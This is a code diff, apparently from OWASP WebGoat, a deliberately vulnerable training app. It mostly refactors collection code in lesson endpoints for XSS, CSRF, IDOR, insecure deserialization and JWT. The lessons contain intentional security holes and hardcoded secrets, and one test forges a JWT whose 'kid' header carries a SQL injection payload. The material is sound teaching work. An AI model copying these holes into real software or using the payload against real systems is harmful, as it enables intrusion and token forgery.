Boolean firstNameCorrect = false;
@ -58,10 +59,10 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
if (include.contains("<%@") && include.contains("taglib") && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") && include.contains("%>")) {
includeCorrect = true;
}
if (first_name_element.equals("${e:forHtml(param.first_name)}")) {
if (fistNameElement.equals("${e:forHtml(param.first_name)}")) {
firstNameCorrect = true;
}
if (last_name_element.equals("${e:forHtml(param.last_name)}")) {
if (lastNameElement.equals("${e:forHtml(param.last_name)}")) {
lastNameCorrect = true;
}

View File

@ -25,7 +25,10 @@ package org.owasp.webgoat.xss.stored;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
* Created by jason on 11/23/16.
@ -33,7 +36,7 @@ import org.springframework.web.bind.annotation.*;
@RestController
public class StoredCrossSiteScriptingVerifier extends AssignmentEndpoint {
//TODO This assignment seems not to be in use in the UI
//TODO This assignment seems not to be in use in the UI
@PostMapping("/CrossSiteScriptingStored/stored-xss-follow-up")
@ResponseBody
public AttackResult completed(@RequestParam String successMessage) {

View File

@ -24,8 +24,6 @@ package org.owasp.webgoat.xss.stored;
import com.beust.jcommander.internal.Lists;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -50,8 +48,8 @@ public class StoredXssComments extends AssignmentEndpoint {
private WebSession webSession;
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
private static final Map<String, List<Comment>> userComments = new HashMap<>();
private static final List<Comment> comments = new ArrayList<>();
private static final String phoneHomeString = "<script>webgoat.customjs.phoneHome()</script>";
@ -82,7 +80,7 @@ public class StoredXssComments extends AssignmentEndpoint {
public AttackResult createNewComment(@RequestBody String commentStr) {
Comment comment = parseJson(commentStr);
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
comment.setDateTime(DateTime.now().toString(fmt));
comment.setUser(webSession.getUserName());

View File

@ -49,21 +49,17 @@ public class CSRFGetFlag {
@Autowired
private PluginMessages pluginMessages;
@RequestMapping(path="/csrf/basic-get-flag" ,produces = {"application/json"}, method = RequestMethod.POST)
@RequestMapping(path = "/csrf/basic-get-flag", produces = {"application/json"}, method = RequestMethod.POST)
@ResponseBody
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Map<String, Object> response = new HashMap<>();
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
String[] refererArr = referer.split("/");
if (referer.equals("NULL")) {
if (req.getParameter("csrf").equals("true")) {
Random random = new Random();
@ -93,9 +89,4 @@ public class CSRFGetFlag {
return response;
}
//
// @Override
// public String getPath() {
// return "/csrf/basic-get-flag";
// }
}

View File

@ -23,8 +23,6 @@
package org.owasp.webgoat.csrf;
import com.beust.jcommander.internal.Lists;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -37,8 +35,7 @@ import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.util.Collection;
import java.util.Map;
import java.util.*;
import static org.springframework.http.MediaType.ALL_VALUE;
@ -50,8 +47,8 @@ public class ForgedReviews extends AssignmentEndpoint {
private WebSession webSession;
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Review>> userReviews = Maps.newHashMap();
private static final EvictingQueue<Review> REVIEWS = EvictingQueue.create(100);
private static final Map<String, List<Review>> userReviews = new HashMap<>();
private static final List<Review> REVIEWS = new ArrayList<>();
private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9";
@ -79,22 +76,16 @@ public class ForgedReviews extends AssignmentEndpoint {
@PostMapping("/csrf/review")
@ResponseBody
public AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {
final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
final String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
final String[] refererArr = referer.split("/");
String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
String[] refererArr = referer.split("/");
EvictingQueue<Review> reviews = userReviews.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
Review review = new Review();
review.setText(reviewText);
review.setDateTime(DateTime.now().toString(fmt));
review.setUser(webSession.getUserName());
review.setStars(stars);
var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>());
reviews.add(review);
userReviews.put(webSession.getUserName(), reviews);
//short-circuit

View File

@ -32,19 +32,19 @@ import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@RestController
@AssignmentHints({"idor.hints.idorDiffAttributes1","idor.hints.idorDiffAttributes2","idor.hints.idorDiffAttributes3"})
@AssignmentHints({"idor.hints.idorDiffAttributes1", "idor.hints.idorDiffAttributes2", "idor.hints.idorDiffAttributes3"})
public class IDORDiffAttributes extends AssignmentEndpoint {
@PostMapping("IDOR/diff-attributes")
@ResponseBody
public AttackResult completed(@RequestParam String attributes, HttpServletRequest request) throws IOException {
public AttackResult completed(@RequestParam String attributes) {
attributes = attributes.trim();
String[] diffAttribs = attributes.split(",");
if (diffAttribs.length < 2) {
return trackProgress(failed().feedback("idor.diff.attributes.missing").build());
}
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role") ||
diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role")
|| diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
return trackProgress(success().feedback("idor.diff.success").build());
} else {
return trackProgress(failed().feedback("idor.diff.failure").build());

View File

@ -30,7 +30,7 @@ import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
@RestController
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
public class IDOREditOtherProfiile extends AssignmentEndpoint {
@Autowired
@ -40,7 +40,7 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
@ResponseBody
public AttackResult completed(@PathVariable("userId") String userId, @RequestBody UserProfile userSubmittedProfile) {
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
// this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization
// Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?
// Except that this is a vulnerable app ... so we will
@ -50,12 +50,12 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
currentUserProfile.setColor(userSubmittedProfile.getColor());
currentUserProfile.setRole(userSubmittedProfile.getRole());
// we will persist in the session object for now in case we want to refer back or use it later
userSessionData.setValue("idor-updated-other-profile",currentUserProfile);
userSessionData.setValue("idor-updated-other-profile", currentUserProfile);
if (currentUserProfile.getRole() <= 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
return trackProgress(success()
.feedback("idor.edit.profile.success1")
.output(currentUserProfile.profileToMap().toString())
.build());
.feedback("idor.edit.profile.success1")
.output(currentUserProfile.profileToMap().toString())
.build());
}
if (currentUserProfile.getRole() > 1 && currentUserProfile.getColor().toLowerCase().equals("red")) {
@ -67,25 +67,25 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
if (currentUserProfile.getRole() <= 1 && !currentUserProfile.getColor().toLowerCase().equals("red")) {
return trackProgress(success()
.feedback("idor.edit.profile.failure2")
.output(currentUserProfile.profileToMap().toString())
.build());
.feedback("idor.edit.profile.failure2")
.output(currentUserProfile.profileToMap().toString())
.build());
}
// else
return trackProgress(failed().
feedback("idor.edit.profile.failure3")
.output(currentUserProfile.profileToMap().toString())
.build());
return trackProgress(failed()
.feedback("idor.edit.profile.failure3")
.output(currentUserProfile.profileToMap().toString())
.build());
} else if (userSubmittedProfile.getUserId().equals(authUserId)) {
return failed().feedback("idor.edit.profile.failure4").build();
}
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1 ) {
if (currentUserProfile.getColor().equals("black") && currentUserProfile.getRole() <= 1) {
return trackProgress(success()
.feedback("idor.edit.profile.success2")
.output(userSessionData.getValue("idor-updated-own-profile").toString())
.build());
.feedback("idor.edit.profile.success2")
.output(userSessionData.getValue("idor-updated-own-profile").toString())
.build());
} else {
return trackProgress(failed().feedback("idor.edit.profile.failure3").build());
}

View File

@ -22,21 +22,23 @@
package org.owasp.webgoat.idor;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletResponse;
import java.util.HashMap;
import java.util.Map;
@RestController
@AssignmentHints({"idor.hints.otherProfile1","idor.hints.otherProfile2","idor.hints.otherProfile3","idor.hints.otherProfile4","idor.hints.otherProfile5","idor.hints.otherProfile6","idor.hints.otherProfile7","idor.hints.otherProfile8","idor.hints.otherProfile9"})
public class IDORViewOtherProfile extends AssignmentEndpoint{
@AssignmentHints({"idor.hints.otherProfile1", "idor.hints.otherProfile2", "idor.hints.otherProfile3", "idor.hints.otherProfile4", "idor.hints.otherProfile5", "idor.hints.otherProfile6", "idor.hints.otherProfile7", "idor.hints.otherProfile8", "idor.hints.otherProfile9"})
public class IDORViewOtherProfile extends AssignmentEndpoint {
@Autowired
UserSessionData userSessionData;
@ -44,16 +46,16 @@ public class IDORViewOtherProfile extends AssignmentEndpoint{
@GetMapping(path = "IDOR/profile/{userId}", produces = {"application/json"})
@ResponseBody
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
Map<String,Object> details = new HashMap<>();
Map<String, Object> details = new HashMap<>();
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
//going to use session auth to view this one
String authUserId = (String)userSessionData.getValue("idor-authenticated-user-id");
if(userId != null && !userId.equals(authUserId)) {
String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
if (userId != null && !userId.equals(authUserId)) {
//on the right track
UserProfile requestedProfile = new UserProfile(userId);
// secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
if (requestedProfile.getUserId().equals("2342388")){
if (requestedProfile.getUserId().equals("2342388")) {
return trackProgress(success().feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build());
} else {
return trackProgress(failed().feedback("idor.view.profile.close1").build());

View File

@ -38,27 +38,28 @@ import java.io.ObjectInputStream;
import java.util.Base64;
@RestController
@AssignmentHints({"insecure-deserialization.hints.1","insecure-deserialization.hints.2","insecure-deserialization.hints.3"})
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before, after;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return trackProgress(failed().feedback("insecure-deserialization.stringobject").build());
}
return trackProgress(failed().feedback("insecure-deserialization.wrongobject").build());
}
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return trackProgress(failed().feedback("insecure-deserialization.stringobject").build());
}
return trackProgress(failed().feedback("insecure-deserialization.wrongobject").build());
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return trackProgress(failed().feedback("insecure-deserialization.invalidversion").build());

View File

@ -1,54 +1,54 @@
package org.owasp.webgoat.deserialization;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
public class SerializationHelper {
private final static char[] hexArray = "0123456789ABCDEF".toCharArray();
public static Object fromString( String s ) throws IOException ,
ClassNotFoundException {
byte [] data = Base64.getDecoder().decode( s );
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream( data ) );
Object o = ois.readObject();
ois.close();
return o;
}
public static String toString( Serializable o ) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream( baos );
oos.writeObject( o );
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static String show() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeLong(-8699352886133051976L);
dos.close();
byte[] longBytes = baos.toByteArray();
return bytesToHex(longBytes);
}
public static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for ( int j = 0; j < bytes.length; j++ ) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
}
package org.owasp.webgoat.deserialization;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
public class SerializationHelper {
private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
public static Object fromString(String s) throws IOException,
ClassNotFoundException {
byte[] data = Base64.getDecoder().decode(s);
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data));
Object o = ois.readObject();
ois.close();
return o;
}
public static String toString(Serializable o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
public static String show() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeLong(-8699352886133051976L);
dos.close();
byte[] longBytes = baos.toByteArray();
return bytesToHex(longBytes);
}
public static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for (int j = 0; j < bytes.length; j++) {
int v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
}

View File

@ -22,24 +22,17 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.concurrent.TimeUnit;
/**
@ -52,7 +45,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
private static final List<String> validRefreshTokens = Lists.newArrayList();
private static final List<String> validRefreshTokens = new ArrayList<>();
@PostMapping(value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
@ -67,7 +60,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
}
private Map<String, Object> createNewTokens(String user) {
Map<String, Object> claims = Maps.newHashMap();
Map<String, Object> claims = new HashMap<>();
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
@ -75,7 +68,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Map<String, Object> tokenJson = Maps.newHashMap();
Map<String, Object> tokenJson = new HashMap<>();
String refreshToken = RandomStringUtils.randomAlphabetic(20);
validRefreshTokens.add(refreshToken);
tokenJson.put("access_token", token);

View File

@ -22,24 +22,16 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Lists;
import io.jsonwebtoken.impl.TextCodec;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import io.jsonwebtoken.impl.TextCodec;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import java.time.Instant;
import java.util.Calendar;
@ -55,24 +47,24 @@ import java.util.Random;
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"};
public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
private static final String WEBGOAT_USER = "WebGoat";
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
private static final List<String> expectedClaims = List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
@RequestMapping(path="/JWT/secret/gettoken",produces=MediaType.TEXT_HTML_VALUE)
@RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String getSecretToken() {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[]{"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
}
@PostMapping("/JWT/secret")
@ -93,7 +85,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
}
}
} catch (Exception e) {
e.printStackTrace();
e.printStackTrace();
return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build());
}
}

View File

@ -22,7 +22,6 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Maps;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
@ -46,6 +45,7 @@ import javax.servlet.http.HttpServletResponse;
import java.time.Duration;
import java.time.Instant;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import static java.util.Comparator.comparingLong;
@ -64,7 +64,7 @@ public class JWTVotesEndpoint extends AssignmentEndpoint {
private static String validUsers = "TomJerrySylvester";
private static int totalVotes = 38929;
private Map<String, Vote> votes = Maps.newHashMap();
private Map<String, Vote> votes = new HashMap<>();
@PostConstruct
public void initVotes() {

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.jwt;
import com.google.common.collect.Maps;
import io.jsonwebtoken.Jwts;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
@ -8,12 +7,12 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.core.AutoConfigureCache;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
@ -39,7 +38,7 @@ public class JWTFinalEndpointTest extends LessonTest {
@Test
public void solveAssignment() throws Exception {
String key = "deletingTom";
Map<String, Object> claims = Maps.newHashMap();
Map<String, Object> claims = new HashMap<>();
claims.put("username", "Tom");
String token = Jwts.builder()
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")

View File

@ -23,7 +23,6 @@
package org.owasp.webgoat.jwt;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Maps;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Test;
@ -36,6 +35,7 @@ import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.util.HashMap;
import java.util.Map;
import static org.hamcrest.Matchers.is;
@ -62,9 +62,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
ObjectMapper objectMapper = new ObjectMapper();
//First login to obtain tokens for Jerry
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -76,7 +74,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
Map<String, Object> refreshJson = Maps.newHashMap();
Map<String, Object> refreshJson = new HashMap<>();
refreshJson.put("refresh_token", refreshToken);
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
@ -116,9 +114,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
public void flowForJerryAlwaysWorks() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -137,9 +133,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD + "wrong");
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -150,9 +144,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
public void loginShouldNotWorkForTom() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
loginJson.put("user", "Tom");
loginJson.put("password", PASSWORD);
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
.contentType(MediaType.APPLICATION_JSON)
.content(objectMapper.writeValueAsString(loginJson)))
@ -162,7 +154,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
@Test
public void newTokenShouldWorkForJerry() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
@ -174,8 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
String accessToken = tokens.get("access_token");
String refreshToken = tokens.get("refresh_token");
Map<String, Object> refreshJson = Maps.newHashMap();
refreshJson.put("refresh_token", refreshToken);
var refreshJson = Map.of("refresh_token", refreshToken);
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessToken)
@ -186,7 +177,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
@Test
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Map<String, Object> loginJson = Maps.newHashMap();
Map<String, Object> loginJson = new HashMap<>();
loginJson.put("user", "Jerry");
loginJson.put("password", PASSWORD);
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
@ -197,8 +188,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
String accessToken = tokens.get("access_token");
Map<String, Object> refreshJson = Maps.newHashMap();
refreshJson.put("refresh_token", "wrong_refresh_token");
var refreshJson = Map.of("refresh_token", "wrong_refresh_token");
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
.contentType(MediaType.APPLICATION_JSON)
.header("Authorization", "Bearer " + accessToken)

View File

@ -22,16 +22,12 @@
package org.owasp.webgoat.jwt;
import com.google.common.base.Charsets;
import com.google.common.collect.Maps;
import io.jsonwebtoken.*;
import io.jsonwebtoken.impl.TextCodec;
import org.junit.Test;
import java.time.Duration;
import java.time.Instant;
import java.time.LocalDateTime;
import java.time.Period;
import java.util.Date;
import java.util.Map;
import java.util.concurrent.TimeUnit;
@ -41,10 +37,7 @@ public class TokenTest {
@Test
public void test() {
String key = "qwertyqwerty1234";
Map<String, Object> claims = Maps.newHashMap();
claims.put("username", "Jerry");
claims.put("aud", "webgoat.org");
claims.put("email", "jerry@webgoat.com");
Map<String, Object> claims = Map.of("username", "Jerry", "aud", "webgoat.org", "email", "jerry@webgoat.com");
String token = Jwts.builder()
.setHeaderParam("kid", "webgoat_key")
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
@ -52,7 +45,7 @@ public class TokenTest {
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
System.out.println(token);
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){
